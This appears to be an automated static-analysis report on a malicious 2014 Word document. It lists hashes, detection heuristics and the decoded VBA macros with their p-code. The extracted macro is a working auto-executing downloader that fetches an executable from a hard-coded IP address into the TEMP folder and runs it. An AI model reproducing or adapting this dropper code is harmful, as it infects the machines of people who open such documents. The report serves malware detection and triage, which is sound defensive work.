Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7967cc76c1b4090d…

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-06-05 23:46:00 Authoring application: Microsoft Office Word First seen: 2014-06-15
MD5: 1c4a8e0e1c3415836f3634bd58274848 SHA-1: f2ea89c34f1ec7b915df5ba7fccd7db15cf480f9 SHA-256: 7967cc76c1b4090da71d4ac082b24c94fa52ba80b10f3f54fea0839ee488781a
354 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        KMQTHR = Shell(IGEYGV, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal HSLMPF As Long, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        AWMCKR "http://23.94.98.208/Namedocument.exe", Environ("TEMP") & "\HEETNC.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://23.94.98.208/Namedocument.exe� Referenced by macro
    • http://23.94.98.208/Namedocument.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3206 bytes
SHA-256: b5e9da6d28d76aff48503451f1993a39d053a844255363bbdea7178052bc6425
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal HSLMPF As Long, _
ByVal XACLUH As String, ByVal ZPDHOC As String, ByVal MKXBOM As Long, _
ByVal FTPWCN As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal HSLMPF As Long, _
ByVal XACLUH As String, ByVal ZPDHOC As String, ByVal MKXBOM As Long, _
ByVal FTPWCN As Long) As Long
#End If
Function AWMCKR(KINRMN As String, IGEYGV As String) As Boolean
    Dim QBXOCF As Long
    QBXOCF = URLDownloadToFileA(0, KINRMN, IGEYGV, 0, 0)
    If QBXOCF = 0 Then AWMCKR = True
    Dim KMQTHR
    KMQTHR = Shell(IGEYGV, 1)
End Function
Public Sub JPWMZK()
    AWMCKR "http://23.94.98.208/Namedocument.exe", Environ("TEMP") & "\HEETNC.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
JPWMZK
End Sub


' Processing file: /opt/analyzer/scan_staging/daa2e505486c44fc97ea26a49759ff4a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3127 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	LbMark 
' 	Ld Project1 
' 	LbIf 
' Line #2:
' 	LineCont 0x0008 0D 00 00 00 1C 00 00 00
' 	FuncDefn (Private Declare PtrSafe Function MKXBOM Lib "QBXOCF" (ByVal FTPWCN As Long, ByVal urlmon As String, ByVal AWMCKR As String, ByVal KINRMN As Long, ByVal IGEYGV As Long) As Long)
' Line #3:
' 	LbMark 
' 	LbElse 
' Line #4:
' 	LineCont 0x0008 0C 00 00 00 1B 00 00 00
' 	FuncDefn (Private Declare Function MKXBOM Lib "QBXOCF" (ByVal FTPWCN As Long, ByVal urlmon As String, ByVal AWMCKR As String, ByVal KINRMN As Long, ByVal IGEYGV As Long) As Long)
' Line #5:
' 	LbMark 
' 	LbEndIf 
' Line #6:
' 	FuncDefn (Function KMQTHR(Shell As String, JPWMZK As String, id_FFFE As Boolean) As Boolean)
' Line #7:
' 	Dim 
' 	VarDefn Environ (As Long)
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Shell 
' 	Ld JPWMZK 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd MKXBOM 0x0005 
' 	St Environ 
' Line #9:
' 	Ld Environ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St KMQTHR 
' 	EndIf 
' Line #10:
' 	Dim 
' 	VarDefn Workbook_Open
' Line #11:
' 	Ld JPWMZK 
' 	LitDI2 0x0001 
' 	ArgsLd Auto_Open 0x0002 
' 	St Workbook_Open 
' Line #12:
' 	EndFunc 
' Line #13:
' 	FuncDefn (Public Sub AutoOpen())
' Line #14:
' 	LitStr 0x0024 "http://23.94.98.208/Namedocument.exe"
' 	LitStr 0x0004 "TEMP"
' 	ArgsLd id_0244 0x0001 
' 	LitStr 0x000B "\HEETNC.exe"
' 	Concat 
' 	ArgsCall KMQTHR 0x0002 
' Line #15:
' 	EndSub 
' Line #16:
' 	FuncDefn (Sub id_0246())
' Line #17:
' 	ArgsCall id_0248 0x0000 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Sub id_024A())
' Line #20:
' 	ArgsCall id_0248 0x0000 
' Line #21:
' 	EndSub 
' Line #22:
' 	FuncDefn (Sub id_0248())
' Line #23:
' 	ArgsCall AutoOpen 0x0000 
' Line #24:
' 	EndSub 
' Line #25: